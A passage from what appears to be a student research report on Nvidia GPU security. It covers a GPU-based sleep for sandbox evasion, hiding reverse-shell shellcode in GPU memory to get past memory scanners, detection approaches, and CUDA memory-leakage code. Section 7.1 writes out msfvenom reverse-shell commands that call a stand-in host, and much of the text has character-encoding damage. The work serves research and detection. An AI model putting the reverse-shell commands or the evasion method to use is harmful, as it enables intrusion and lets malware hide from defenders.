throughout, whereas the sleep may become more inaccurate if the GPU load when the 

benchmarking time check is performed is significantly different to the load for the rest of the 

sleep. 

6.3. Sleep Length 

The desired sleep time was set to 21600, which should produce a sleep of 6 hours. This was 

tested and produced a sleep of 21636.445312 seconds. 

6.4. Suspicious Windows API calls 

It is also important to consider how the timer works within this pseudo-sleep, as if it relies on 

timing functions that are already manipulated by sandboxes, then one of the uses of the pseudo-

sleep, sandbox evasion, is no longer valid.  The timer used in the pseudo-sleep is defined in the 

helper_timer.h file provided with the CUDA samples [75], and uses the Windows 

QueryPerformanceCounter API call [76] to determine the time. This has been used for anti-

analysis techniques before, as seen in Lab 16-03 of Practical Malware Analysis [77], where it is 

used either side of a division by zero. If the program is being debugged, the debugger might be 

delayed due to the division by zero error, so it checks if the time difference is above a certain 

value, and if it is the ﾏal┘aヴe ┘oﾐ’t ヴuﾐ pヴopeヴl┞ [78]. In order to bypass this, a sandbox would 

have QueryPerformanceCounter return a lower value than it otherwise would, which would 
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result in it appearing like less time has passed than actually has. However, in the case of our 

pseudo-sleep, this means that the initial calibration calculations would appear to have run faster 

than they actually had, and so the multiplier calculated would be larger, and then the actual sleep 

would end up being longer than intended. So this would aid in sandbox or debugging evasion if 

such hooks were in place. If hooks began to be implemented specifically targeting this pseudo-

sleep, then it would be possible for benchmarking tests to be run against the current most 

powerful GPUs. Then, the calculations could be calibrated so that on the current most powerful 

GPUs, they take a certain amount of time, which should ensure that the sleep is at least as long 

as that specified amount of time.   

6.5. Portability 

When compiling these programs, we need to consider which APIs we use as dynamically linking 

against them means they will need to be on the target system, so this can restrict the portability 

of the program. CUDA has two different APIs which can be used, the Driver API [79] and the 

Runtime API [80]. The main difference is that the Runtime API is easier to use from a 

pヴogヴaﾏﾏeヴ’s peヴspeIti┗e Hut laIks the ﾏoヴe gヴaﾐulaヴ Ioﾐtヴol ┘hiIh the Dヴi┗eヴ API has. Foヴ this 

project though, the most important difference is that the Runtime API is only installed when 

CUDA is installed, whereas the Driver API is installed with the GPU driver. Therefore, any system 

with an Nvidia GPU with the relevant drivers installed has the relevant DLL for the driver API, 

┘heヴeas the Ruﾐtiﾏe API ┘ouldﾐ’t He pヴeseﾐt oﾐ the s┞steﾏ uﾐless CUDA ┘as iﾐstalled.  

Using the Runtime API is preferred because it makes development easier, but this then makes 

any malware using it compatible with fewer systems. To deal with this issue, the samples were 

compiled with the CUDA Runtime static library, which statically compiles the relevant Runtime 

API functions into the executable, and therefore allows the executable to run on a system with 

just the Driver API. This was confirmed by testing the BlackScholes sample on W2 and U2, which 

had the latest Nvidia drivers but no CUDA installation. 
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7. Experiment 3 - GPU Memory Scanning 

7.1. Proof-of-concept 

Using a similar method to that used in section 5, we can store data in GPU memory and then 

retrieve it. This can be done using the following steps: 

• Generate shellcode for the relevant operating system using MSFvenom 

o Windows - msfvenom -p windows/shell_reverse_tcp LHOST=1.2.3.4 

LPORT=1337 

o Linux - msfvenom -p linux/shell_reverse_tcp LHOST=1.2.3.4 LPORT=1337 

• Take the shellcode in hexadecimal and store it as a variable in the program. 

• Use cudaMalloc and cudaMemcpy to store this shellcode in GPU memory. 

• Use memset to zero out the variable which originally stored the shellcode, so that it is 

no longer present in process memory. 

• Perform a sleep (can be either a normal sleep or our GPU pseudo-sleep). 

• Retrieve the shellcode from GPU memory using cudaMemcpy and execute it. 

Full code for this program can be found in Appendix F. This program can be tested using either 

cuda-gdb on Linux or Nsight Next-Gen CUDA Debugger on Windows to verify that the shellcode 

is present only in GPU memory. 

7.2. In-memory Scanning Bypass 

The results of the scanning of the proof-of-concept, full code of which can be found in, and test 

programs using PE-Sieve can be found in Table 5, and the output of PE-Sieve using both flags 

can be seen in Figures 7, 8, and 9. 

Program Identified with just /shellcode Identified with both flags 

TestProgram1 Yes Yes 

TestProgram2 No Yes 

Proof-of-concept No No 

Table 5 - Results of PE-Sieve scans 
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Figure 7 - PE-Sieve scan of Program1 

 

Figure 8 - PE-Sieve scan of Program2 

 

Figure 9 – PE-Sieve scan of proof-of-

concept 

 

The pヴogヴaﾏs ┘eヴe tested usiﾐg ┝ヶヴdHg to deteヴﾏiﾐe if ┝ヶヴdHg’s ﾏeﾏoヴ┞ ﾏap had aIIess to 

shellcode which was stored in GPU memory. This was found not to be the case, as the pointer 

to GPU ﾏeﾏoヴ┞ ga┗e aﾐ addヴess ┘hiIh ┘asﾐ’t aIIessiHle ┗ia ┝ヶヴdHg’s ﾏeﾏoヴ┞ ﾏap. This 

testiﾐg ┗eヴified that Iuヴヴeﾐt tooliﾐg doesﾐ’t ideﾐtif┞ data stoヴed ┘ithiﾐ GPU ﾏeﾏoヴ┞. 

7.3. GPU memory scanning 

7.3.1. Static Analysis 

The simplest way of detecting if malware is using the GPU is to look for strings including CUDA 

commands such as cudaMalloc. This is present as a string in both the Windows and Linux proofs-

of-concept developed during this project, and can be easily detected. Whilst this isﾐ’t the oﾐl┞ 

method of storing data in GPU memory using CUDA, a list of the possible CUDA commands could 

be used to check more comprehensively.   

This is a very basic form of static analysis but is effective against programs statically compiled 

against the CUDA Runtime API. In this case, the static compilation helps portability, but results in 

many extra strings which are unused by the program (such as cudaMalloc3D) being stored within 

the binary. This makes code obfuscation much more difficult, but without this you would either 

need to write and compile the code using the CUDA Driver API, or drop the CUDA Runtime API 
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onto the system being infected along with the malware. Dropping the Runtime API could then 

lead to a detection method where you look for the CUDA Runtime API, again possibly using simple 

methods such as an MD5 hash for all past versions of the CUDA Runtime API. This highlights how 

even simple detection methods can, even if bypassable, make malware development and 

deployment significantly more difficult. Note that it is possible, likely even, that different 

Ioﾏpileヴ optioﾐs e┝ist to ヴeduIe fuヴtheヴ the pヴeseﾐIe of suIh stヴiﾐgs, Hut this aヴea ┘asﾐ’t 

investigated further. 

It is also the case that many programs will have completely legitimate uses for cudaMalloc, often 

programs being developed or used within organisations using a large number of GPUs. Therefore, 

whilst this may be useful to identify programs accessing the GPU which have no obvious reason 

foヴ doiﾐg so, it doesﾐ’t help distinguish between those legitimately accessing the GPU and those 

┘hiIh aヴeﾐ’t.   

One potential way of determining between programs legitimately using the GPU and malware 

Iould He to look foヴ suspiIious patteヴﾐs ┘hiIh ┘ouldﾐ’t He e┝peIted ┘ithiﾐ ﾐoヴﾏal pヴograms. 

For example, if malware is using the GPU to store data to avoid memory scanning, then it is likely 

that directly after a cudaMemcpy there is something which removes what has just been copied 

to the GPU from the host system memory, for example using a function such as memset.  

In Windows, a further static indicator is the presence of the export NvOptimusEnablementCuda, 

which indicates that the file contains CUDA code. If the pヴogヴaﾏ isﾐ’t e┝peIted to iﾐteヴaIt ┘ith 

the GPU, this may is an indicator that the file could be malware 

 

7.3.2. Debuggers 

When considering dynamic analysis, the obvious ideal mechanism would be a way to scan GPU 

memory of a process in the same way that curヴeﾐt EDR solutioﾐs Iaﾐ sIaﾐ a pヴoIess’ s┞steﾏ 

memory. In order to do this, we need to work out how to access a direct view of GPU memory.  

As memory can be read in the CUDA debugger on both Windows, Nvidia Nsight Next-Gen CUDA 

Debugger, and Linux, cuda-gdb, these debuggers were used as a starting point. Clearly, it is 
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unlikely that a malware author would include the necessary debugging information to run 

malware in these debuggers themselves. However, cudaMalloc allocates global GPU memory, 

which could possibly be accessible to other programs. Therefore, an attempt was made on both 

operating systems to read data stored in the GPU by one program in the debug session of 

another.   

Two CUDA programs were paused within a CUDA kernel simultaneously, allowing GPU memory 

stored by the programs to be seen in their respective debug sessions. As can be seen by the below 

iﾏages, it ┘asﾐ’t possiHle to ┗ie┘ data stoヴed iﾐ GPU ﾏeﾏoヴ┞ H┞ oﾐe pヴogヴaﾏ iﾐ the deHug 

session of another.  

Further research confirmed that the reason for this was GPU virtual addressing, with each 

process having its own GPU virtual address mapping [81]. Sharing memory pointers outside of a 

process, therefore, isﾐ’t ┗alid, aﾐd Iaﾐ oﾐl┞ He doﾐe usiﾐg CUDA Iﾐteヴ-Process Communication 

(IPC) [82], though this is only supported for Linux, and not for Windows. As in this scenario we 

seek to look at memory allocations made by malware, there is no way to implement IPC as we 

ha┗e ﾐo Ioﾐtヴol o┗eヴ the Iode of the e┝eIutaHle ┘e’ヴe aﾐal┞siﾐg, aﾐd as suIh this doesﾐ’t appeaヴ 

to be a viable method of observing GPU memory.  

 

7.3.3. Other Methods 

Several potential methods were identified during open-source research. One was the nvidia-

debugdump utility [83]. This had a flag さ--dumpall" which would provide a diagnostic dump for 

a GPU. This was attempted on both D1 and U1, whilst a CUDA program was running which had 

stored several strings within GPU memory, using the command nvidia-debugdump --dumpall --

device 0 --file initial_dump.zip. Now the output of this is a zip file which, when unzipped using 

7zip, contains the following files: 

• debug_buffers_00.pb 

• error_data.pb 

• nvlog.gpu000.log 
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• nvlog.log 

• sm_00.pb 

• system_info.pb 

According to [83], the output さヴeケuiヴes iﾐteヴﾐal NVIDIA eﾐgiﾐeeヴiﾐg tools iﾐ oヴdeヴ to He 

iﾐteヴpヴetedざ, but tests were performed to determine if the output contained any GPU memory 

sections. The files were checked using the strings utility for the strings stored in GPU memory, 

but none of the files contained those strings or any other readable strings.  

Following this, another dump was taken whilst a CUDA program had 1GB of GPU memory 

allocated and filled. This was used to determine if the size of the dump would be different to 

the original one, which had produced a zip file of around 43.5 KB on both U1 and D1, which 

would be expected if the dump contained a large amount of GPU memory data. This produced 

duﾏps of the saﾏe size, ┘hiIh pヴo┗ed that the duﾏps Ieヴtaiﾐl┞ didﾐ’t Ioﾐtaiﾐ all of the 

allocated GPU memory at the time of the time. 

Another possible method of viewing GPU memory identified during open-source research, 

which is detailed in the cuda-gdb documentation [84], is a GPU core dump, where the contents 

of GPU memory is dumped. As cuda-gdH suppoヴts useヴ iﾐduIed GPU Ioヴe duﾏps, it’s possiHle 

to perform a core dump on a program to view GPU memory at a specific time. This GPU core 

dump can be initiated using the following instructions:  

• Run the CUDA program with the environment variable 

CUDA_ENABLE_USER_TRIGGERED_COREDUMP set to 1. To do this, you can use the 

command: 

o CUDA_ENABLE_USER_TRIGGERED_COREDUMP=1 ./cudaProgram  

• This will create a pipe file in the current directory, with the naming convention 

corepipe_<hostname>_<PID> where PID is the process ID of the running cudaProgram. 

• Write 1 to the pipe using the command echo 1 > corepipe_<hostname>_PID  

• This should then initiate a GPU coredump, which should create a file with the naming 

convention core_<timestamp>_<hostname>_<PID>.nvcudmp  
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The cuda-gdb documentation detailing the GPU core dump functionality showed that the core 

dump could be viewed in cuda-gdb. However, core dumps were never able to be successfully 

viewed in cuda-gdb during testing. Note that whilst Nvidia GPU core dumps were initially 

identified in the cuda-gdb documentation, an Nvidia GPU core dump was successfully performed 

on U2, a machine which had an Nvidia driver but no CUDA toolkit installed. 

Further research identified that Windows GPU core dumps could be viewed in Visual Studio [85], 

but attempts to do this with the core dumps generated on a Linux machine failed. Given the lack 

of other documentation of Nvidia GPU core dumps or the .nvcudmp file format online, a series 

of tests were run to derive more information about the structure of the nvcudmp file. These 

consisted of the following: 

• Initiating a core dump where some data is stored in GPU memory and some is stored in 

CPU memory only. 

o This was used to test if the core dump only contained data stored in GPU memory. 

o This proved to be the case. 

• Initiating a core dump with a larger amount of data stored in GPU memory. 

o This was used to test if all allocated GPU memory is stored in the core dump, as 

initial dumps were all the same size. 

o This proved to be the case. 

• Initiating a core dump when two GPU programs are running. 

o Program 1 – Stores some strings and a large integer array in GPU memory. 

o Program 2 – Stores different strings in GPU memory. 

o A core dump is then initiated on program 1.  

o This resulted in program 1 being aborted, but program 2 remaining running. 

o It ┗eヴified that oﾐl┞ the pヴoIess’ GPU ﾏeﾏoヴ┞ ┘as dumped, not all allocated GPU 

memory, as the only strings present in the dump were from program 1. 

These tests suggest that these Linux core dumps do indeed contain the GPU memory allocated 

to a process, and can be used to dump and view such memory.
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8. Conclusions and Future Work 

In this work, we have considered some of the major security risks posed by Nvidia GPUs. GPU 

memory leakage on GCP was determined to not be possible using existing methods, though this 

was not due to any GCP-specific ﾏitigatioﾐs. The ヴe┗ie┘ of Hoo┗eヴ’s ┘oヴk [41] did, however, 

identify some errors, and established a more granular understanding of the memory clearing 

process within Nvidia GPUs which explains Hoo┗eヴ’s ヴesults. Of Hoo┗eヴ’s thヴee Ilaims, all were 

shown to be false, though this is perhaps less drastic than it first appears. Whilst Hoover was 

incorrect to state that memory is zeroed out on allocation and de-allocation, with experiments 

successfully recovering data from a memory region after it was de-allocated and then re-

allocated, for practical purposes GPU ﾏeﾏoヴ┞ leakage isﾐ’t feasiHle. The leakage ideﾐtified iﾐ 

this work is only possible in small blocks, 2MB for the Nvidia Tesla T4 and 1MB for the Nvidia 

GeForce GTX 970, and within the same process. As such, it seems infeasible to conduct a GPU 

memory leakage attack using existing methods on current Nvidia GPUs. Hoover also found that 

GPUs iﾏpleﾏeﾐt A“LR, though ouヴ ヴesults iﾐdiIate that this isﾐ’t the Iase oﾐ Wiﾐdo┘s, aﾐd as 

such is unlikely to be a GPU feature but instead an operating system feature. This again has 

limited impact though, specifically because the ASLR-dependent attacks used by Hoover rely on 

the memory addresses across processes relating to the same physical memory. Whilst the GPU 

virtual memory address spaIe iﾐ Wiﾐdo┘s appeaヴed to He Ioﾐsisteﾐt, this doesﾐ’t ﾐeIessaヴil┞ 

mean that the same virtual addresses in different processes relate to the same physical 

memory. In fact, given that multiple processes were identified as having different data stored at 

the same virtual address in section 7.3.2, the virtual addresses cannot refer to the same 

physical memory addresses.  

In Experiment 2, a GPU pseudo-sleep was developed which successfully met the requirements 

for sandbox evasion and a command-and-control implant. However, it is still possible that the 

use of a GPU by a command and control implant could appear suspicious, though this is 

dependent upon the environment being tested. Further refining of this could be done to make 

it both more accurate and reduce its system resource usage. It could also be implemented into 

existing software, such as [65] which stores a Cobalt Strike beacon in GPU memory encrypted 
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when the beacon sleeps. Using a GPU pseudo-sleep could further enhance this evasion 

technique, and the project is written in CUDA, so it may be easier to integrate the pseudo-sleep 

from this work compared to OpenCL projects. This was also only one potential idea for how 

malware authors may leverage GPUs to avoid detection, and it is possible that there are other 

novel methods for doing so which could be investigated. 

Further, a proof-of-concept was developed for storing shellcode in GPU memory, and tested 

against existing tools, highlighting the limitations of such tools to identify malicious data stored 

in GPU memory. Basic static analysis identifiers were found for programs utilising CUDA, and a 

possible method for dumping the GPU memory associated with a process was identified, but 

this method was only successfully achieved on Linux. Initial tests suggest that the GPU core 

duﾏps do iﾐdeed Ioﾐtaiﾐ the pヴoIess’ GPU ﾏeﾏoヴ┞, Hut ﾏoヴe suHstaﾐtial testiﾐg ┘ould He 

useful, and it would in particular be useful to get the core dumps working as intended with 

cuda-gdb in order to assess what exact information the dumps contain. Moreover, the process 

the GPU memory dump was applied to was then ended, making it less useful as a tool to be 

used on live systems. I believe this is a good first step though, as it may allow existing memory 

scanning techniques to be applied against the dumped GPU memory to look for suspicious data. 

Whilst it is limited in the same ways that normal memory scanning is, in that data could be 

encrypted as is implemented in [65], it does prevent the massive advantage executing code out 

of GPU memory could provide if it has been implemented in malware. It is, however, expected 

that a lower-level program interacting with the GPU driver could produce a more elegant 

solution similar to existing CPU memory scanning.  

All of this work was performed in CUDA, which was necessary given the debugging support 

provided by the CUDA ecosystem. However, to make the results including the GPU pseudo-

sleep and the proof-of-concept for storing data in GPU memory more useful, it would be 

necessary to port them to OpenCL. Given most laptops now have iGPUs, this would vastly 

increase the portability of any malware or cybersecurity tools implementing GPU techniques. 
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9. Reflections 

Initially I found the process of doing this project stressful given its breadth. There are a large 

number of areas to discuss when it comes to GPU security, and my project has morphed 

significantly since its inception. Such a broad topic was useful when my initial focus on analysing 

GPU memory leakage in cloud environments produced no useable results, and instead I pivoted 

iﾐto uﾐdeヴstaﾐdiﾐg ┘h┞ ﾏeﾏoヴ┞ leakage ┘asﾐ’t possiHle, as opposed to aﾐal┞siﾐg its ヴesults. 

However, it has made working out when to stop certain tangents difficult, and has resulted in a 

sigﾐifiIaﾐt aﾏouﾐt of tiﾏe Heiﾐg speﾐt oﾐ e┝peヴiﾏeﾐts aﾐd ideas ┘hiIh doﾐ’t featuヴe iﾐ this 

writeup. 

This breadth also made the structuring of the report challenging, as whilst all of the content falls 

under the idea of GPU security risks, there is a distinction between targeting the GPU specifically 

(via memory leakage) or using the GPU to further other aims. As such, I am glad that I began 

┘ヴitiﾐg up ┘heﾐ I did, as I fouﾐd that it HeIaﾏe appaヴeﾐt ┘heヴe I hadﾐ’t full┞ Ioﾏpleted 

experiments or needed to consider other factors. One thing I would change is to have a more 

rigid idea of what I needed to achieve in my experiments as I went along, as I often found myself 

spending hours performing experiments which may not prove useful. Whilst research obviously 

ヴeケuiヴes a le┗el of fle┝iHilit┞, HeIause ┞ou doﾐ’t kﾐo┘ ┘hat ┞ou ┘ill fiﾐd, a ﾏoヴe disIipliﾐed 

approach to experimentation would likely have proven useful. 

The choice of topic in itself was risky, given I have no relevant background or experience with 

GPUs, and nor do I have a formal computer science background which would lend itself to the 

intricacies of trying to compile different implementations of CUDA properly, as I spent many 

unsuccessful hours attempting. I think my lack of formal computer science background made the 

programming side of it daunting even though I had used C++ before. This meant that I leant on 

editing existing code as a crutch, especially early on, instead of attempting to properly learn 

CUDA. Whilst by the end of the project I could certainly write a CUDA program (relatively) 

confidently, I think it may have served me better to spend time focusing on learning CUDA first, 

aﾐd theﾐ peヴfoヴﾏiﾐg e┝peヴiﾏeﾐts, iﾐstead of tヴ┞iﾐg to do it as I ┘eﾐt aloﾐg. This Iould’┗e sa┗ed 
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me time I spent trying to compile or re-faItoヴ otheヴ’s Iode H┞ allo┘iﾐg ﾏe to ﾏoヴe full┞ 

understand the issues or just write my own code from scratch.  

Despite this though, overall I have enjoyed doing this project. In particular, closer to the end of 

the project, when the structure of the writeup had been established, finalising the research into 

how Nvidia GPUs clear memory was particularly enjoyable, and it felt like I made significant 

progress in understanding that process than had previously been available. 
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11. Appendices 

Appendix A Experiment Setup Details 
The details of the operating systems for the machines used during the experiments can be 

found in Table 6. 

Machine Operating System 

Physical machine (PM) Windows 10 

Windows-1 (W1) Windows Server 2016 

Windows-2 (W2) Windows Server 2016 

Ubuntu-1 (U1) Ubuntu 20.04 

Ubuntu-2 (U2) Ubuntu 20.04 

Debian-1 (D1) Debian 10 

Table 6 - Operating systems of experiment machines 

Further setup instructions are provided where issues were encountered, or it is considered 

useful for the reader. 

Installing Nvidia driver on GCP Windows VM: 

Initial installation instructions were derived from the GCP instructions [86]. All the below 

commands should be run in Google Cloud SDK Shell.  

• Search for the latest driver version. 

o gsutil ls gs://nvidia-drivers-us-public/GRID  

• Take the highest version from the previous command of the form GRID/GRID<number>, 

which during the experiment was 13.1. 

o gsutil ls gs://nvidia-drivers-us-public/GRID/GRID13.1/  

• Take the relevant operating system file from this list.  

o gsutil -m cp gs://nvidia-drivers-us-

public/GRID/GRID13.1/472.39_grid_win10_win11_server2016_server2019_ser

ver2022_64bit_international.exe %USERPROFILE%/Downloads  

• Double click this driver in the downloads folder and install it using Express install.  

• After this, run the following command in the Google cloud shell to check it has installed 

properly, noting that the speech marks are a necessary part of the command: 

o "C:\Program Files\NVIDIA Corporation\NVSMI\nvidia-smi.exe"  
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• Note that during this project, when wanting to re-run nvidia-smi.exe, the above 

command failed because nvidia-smi.exe had been moved to 

C:\Windows\System32\nvidia-smi.exe. 

 

Disabling ECCs on Nvidia GPUs 

• To disable ECCs - sudo nvidia-smi -g 0 --ecc-config=0 

• To enable ECCs - sudo nvidia-smi -g 0 --ecc-config=1 

 

Installing cuda-gdb: 

After installing cuda-gdb on D1 and U1 using the command sudo apt-get install cuda-gdb, 

there were still errors when trying to run cuda-gdb. The following fixes needed to be applied: 

• Install libtinfo.so.5 - sudo apt-get install libncurses5 

• Make libncursesw.so.5 available by symbolically linking the newer version - sudo ln -s 

/usr/lib/x86_64-linux-gnu/libncursesw.so.6 /usr/lib/x86_64-linux-

gnu/libncursesw.so.5 

 

Compiling code for cuda-gdb 

• To compile code for debugging purposes, use the command nvcc -g -G <file.cu> -o 

<output_file>. 

 

Determining CUDA Version 

There are two main ways to determine the CUDA version of a machine. 

• nvidia-smi command – Gives the CUDA Driver API version. 

• nvcc --version command – Gives the CUDA Runtime API version. 
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The CUDA versions given by these commands can be different, so when determining CUDA 

versions for those machines with CUDA installed, we only considered the CUDA Runtime API 

version. 
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Appendix B GPU Write and Memory Dump 
#include "cuda_runtime.h" 
#include "device_launch_parameters.h" 
 
#include <stdio.h> 
#include <stdint.h> 
#include <stdlib.h> 
 
int main() 
{ 

unsigned int* d_a; //Variable that will be used as a pointer for GPU memory 
when writing to GPU memory. 
unsigned int* d_b; //Variable that will be used as a pointer for GPU memory 
when copying GPU memory out. 

    size_t free, total; //Variables to hold the free and total GPU memory. 
 
    cudaMemGetInfo(&free, &total); 
    printf("Free memory is: %zu\n", free); 
    printf("Total memory is: %zu\n", total); 
 

//Code block which allocates all free GPU memory via the pointer d_a, sets 
the value to the integer value 10, and then frees the memory. 

    cudaMalloc((void**)&d_a, free); 
    cudaMemset(d_a, 10, free); 
    cudaFree(d_a); 
 

//Code block which checks the amount of free GPU memory, then copies all the 
free memory from GPU memory to host memory via the pointer b. 

    cudaMemGetInfo(&free, &total); 
    unsigned int* b = (unsigned int*)malloc(free); 
    cudaMalloc((void**)&d_b, free); 
    cudaMemcpy(b, d_b, free, cudaMemcpyDeviceToHost); 
     
    //Code which writes the copied GPU memory to a file. 
    FILE* write_ptr; 
    write_ptr = fopen("GPU_Memory_dump.bin", "wb");  // w for write, b for binary 
 
    for (size_t i = 0; i < free / 4; i += 1) { 
        fwrite(&b[i], sizeof(b[i]), 1, write_ptr); 
    } 
 
    //Closes the file that was written to 
    fclose(write_ptr); 
    write_ptr = NULL; 
 

//Frees the remaining GPU memory, waits for all GPU actions to be finished, 
and destroys the CUDA context. 

    cudaFree(d_b); 
    cudaDeviceSynchronize(); 
    cudaDeviceReset(); 
    return EXIT_SUCCESS; 
} 
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Appendix C GPU Memory Leakage with CUDA kernel 
 
#include "cuda_runtime.h" 
#include "device_launch_parameters.h" 
 
#include <stdio.h> 
#include <stdint.h> 
#include <stdlib.h> 
 
cudaError_t addWithCuda(int* c, const int* a, const int* b, unsigned int size); 
 
void cudasafe(cudaError_t error, char* message) 
{ 
    if (error != cudaSuccess) 
    { 
        fprintf(stderr, "ERROR: %s : %s\n", message, cudaGetErrorString(error)); 
        // Had to include stdlib.h to have the exit function recognised. 
        exit(-1); 
    } 
} 
 
__global__ void addKernel(int* c, const int* a, const int* b) 
{ 
    int i = threadIdx.x; 
    c[i] = a[i] + b[i]; 
} 
 
 
int main() 
{ 
    const int arraySize = 5; 
    const int x[arraySize] = { 1, 2, 3, 4, 5 }; 
    const int y[arraySize] = { 10, 20, 30, 40, 50 }; 
    int z[arraySize] = { 0 }; 
 
    //Store string1 in GPU memory at 0x606000000 
    char string1[] = "Testing 1, 2, and 3!"; 
    size_t string1_size = sizeof(string1); 
    char* string1_h = string1; 
    int* string1_d = NULL; 
    cudaMalloc((void**)&string1_d, string1_size); 
    cudaMemcpy(string1_d, string1_h, string1_size, cudaMemcpyHostToDevice); 
    printf("The string has been stored in GPU memory at %p\n", string1_d); 
 
    //CUDA kernel invocation to allow for debugging to view GPU memory 
    addWithCuda(z, x, y, arraySize); 
 
    //Store string2 in GPU memory at 0xb06000200 
    char string2[] = "Another test string with a different length!"; 
    size_t string2_size = sizeof(string2); 
    char* string2_h = string2; 
    int* string2_d = NULL; 
    cudaMalloc((void**)&string2_d, string2_size); 
    cudaMemcpy(string2_d, string2_h, string2_size, cudaMemcpyHostToDevice); 
    printf("The string has been stored in GPU memory at %p\n", string2_d); 
 
    //Free the GPU memory holding string1 
    cudaFree(string1_d);  
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//CUDA kernel invocation to allow for debugging to view GPU memory 
    addWithCuda(z, x, y, arraySize); 
 
    //Allocate 64 bytes of GPU memory 
    int* device_small_allocation = NULL; 
    size_t small_size = 64; 
    cudaMalloc((void**)&device_small_allocation, small_size); 
 
    //Frees the GPU memory holding string2 
    cudaFree(string2_d); 
 
    //CUDA kernel invocation to allow for debugging to view GPU memory 
    addWithCuda(z, x, y, arraySize); 
 
    cudaFree(device_small_allocation); 
} 
 
// Helper function for using CUDA to add vectors in parallel. 
cudaError_t addWithCuda(int* c, const int* a, const int* b, unsigned int size) 
{ 
    int* dev_a = 0; 
    int* dev_b = 0; 
    int* dev_c = 0; 
    cudaError_t cudaStatus; 
 
    // Choose which GPU to run on, change this on a multi-GPU system. 
    cudaStatus = cudaSetDevice(0); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "cudaSetDevice failed!  Do you have a CUDA-capable GPU 
installed?"); 
        goto Error; 
    } 
 
    // Allocate GPU buffers for three vectors (two input, one output)    . 
    cudaStatus = cudaMalloc((void**)&dev_c, size * sizeof(int)); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "cudaMalloc failed!"); 
        goto Error; 
    } 
 

//Code block which prints out the data stored in the GPU memory address just 
assigned for dev_c as a string. 

    size_t temp_var = size * sizeof(int); 
    char* dev_c_info_leakage = (char*)malloc(size * sizeof(int)); 
    cudaMemcpy(dev_c_info_leakage, dev_c, size * sizeof(int), 
cudaMemcpyDeviceToHost); 
    printf("The just allocated dev_c variable has leaked the following string 
%s\n", dev_c_info_leakage); 
 
    cudaStatus = cudaMalloc((void**)&dev_a, size * sizeof(int)); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "cudaMalloc failed!"); 
        goto Error; 
    } 
 
    cudaStatus = cudaMalloc((void**)&dev_b, size * sizeof(int)); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "cudaMalloc failed!"); 
        goto Error; 
    } 
 
    // Copy input vectors from host memory to GPU buffers.  
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    cudaStatus = cudaMemcpy(dev_a, a, size * sizeof(int), 
cudaMemcpyHostToDevice); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "cudaMemcpy failed!"); 
        goto Error; 
    } 
 
    cudaStatus = cudaMemcpy(dev_b, b, size * sizeof(int), 
cudaMemcpyHostToDevice); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "cudaMemcpy failed!"); 
        goto Error; 
    } 
 
    // Launch a kernel on the GPU with one thread for each element. 
    addKernel << <1, size >> > (dev_c, dev_a, dev_b); 
 
    // Check for any errors launching the kernel 
    cudaStatus = cudaGetLastError(); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "addKernel launch failed: %s\n", 
cudaGetErrorString(cudaStatus)); 
        goto Error; 
    } 
 
    // cudaDeviceSynchronize waits for the kernel to finish, and returns 
    // any errors encountered during the launch. 
    cudaStatus = cudaDeviceSynchronize(); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "cudaDeviceSynchronize returned error code %d after 
launching addKernel!\n", cudaStatus); 
        goto Error; 
    } 
 
    // Copy output vector from GPU buffer to host memory. 
    cudaStatus = cudaMemcpy(c, dev_c, size * sizeof(int), 
cudaMemcpyDeviceToHost); 
    if (cudaStatus != cudaSuccess) { 
        fprintf(stderr, "cudaMemcpy failed!"); 
        goto Error; 
    } 
 
Error: 
    cudaFree(dev_c); 
    cudaFree(dev_a); 
    cudaFree(dev_b); 
 
    return cudaStatus; 
}  
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Appendix D GPU Memory Leakage without CUDA kernel 
#include "cuda_runtime.h" 
#include "device_launch_parameters.h" 

 

#include <stdio.h> 
#include <stdint.h> 

#include <stdlib.h> 

 

 
int main() 

{ 

    //Store string1 in GPU memory at 0x606000000 
    char string1[] = "Testing 1, 2, and 3!"; 

    size_t string1_size = sizeof(string1); 

    char* string1_h = string1; 
    int* string1_d = NULL; 

    cudaMalloc((void**)&string1_d, string1_size); 

    cudaMemcpy(string1_d, string1_h, string1_size, cudaMemcpyHostToDevice); 

    printf("The string has been stored in GPU memory at %p\n", string1_d); 

 

    //Store string2 in GPU memory at 0xb06000200 

    char string2[] = "Another test string with a different length!"; 
    size_t string2_size = sizeof(string2); 

    char* string2_h = string2; 

    int* string2_d = NULL; 
    cudaMalloc((void**)&string2_d, string2_size); 

    cudaMemcpy(string2_d, string2_h, string2_size, cudaMemcpyHostToDevice); 

    printf("The string has been stored in GPU memory at %p\n", string2_d); 
 

    //Frees the GPU memory storing string2 

    cudaFree(string2_d); 

 
    int* dev_c = NULL; 

    size_t small_size = 64; 

    cudaMalloc((void**)&dev_c, small_size); 
    char* info_leak = (char*)malloc(small_size); 

    cudaMemcpy(info_leak, dev_c, small_size, cudaMemcpyDeviceToHost); 

    printf("The just allocated dev_c variable has leaked the following string: 
\"%s\"\n", info_leak); 

 

    //Free remaining GPU memory 

    cudaFree(string1_d); 
    cudaFree(dev_c); 

    cudaDeviceSynchronize(); 

    cudaDeviceReset(); 
    return EXIT_SUCCESS; 

} 
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Appendix E   GPU Memory Dump - Multiple Files 
#include "cuda_runtime.h" 
#include "device_launch_parameters.h" 

 

#include <stdio.h> 

#include <stdint.h> 

#include <stdlib.h> 

#include <cstdlib> //Added to allow the use of free() 

#include <string> //Added to allow converting from int to string 
#include <algorithm> 

 

int main() 
{ 

    // Variables indicating available and total memory 

    size_t free_mem, total_mem; 

 

// Define an array length for the number of dump files you wish to split the GPU 

// memory dump into. Then define arrays for the device and host pointers to be used 

// for these dump files, and an array for the sizes of the dump files. 
    const int array_length = 20; 

    size_t mem_sizes[array_length]; 

    unsigned int* device_pointers[array_length]; 
    unsigned int* host_pointers[array_length]; 

 

    // Maximum size you want to allocate for GPU memory. Dump files of this size will be 
    // created. 

    size_t max_copy_size = uint32_t(3 * 1024 * 1024 * 1024); 

    printf("The maximum copy size which will be used is:    %zu\n", max_copy_size); 
 

    // Index used to track the number of dump files which will be created. 

    size_t actual_length; 

 
    // Get the free and total GPU memory available, and set the remaining memory to be 

    // dumped to the current free memory. 

    cudaMemGetInfo(&free_mem, &total_mem); 
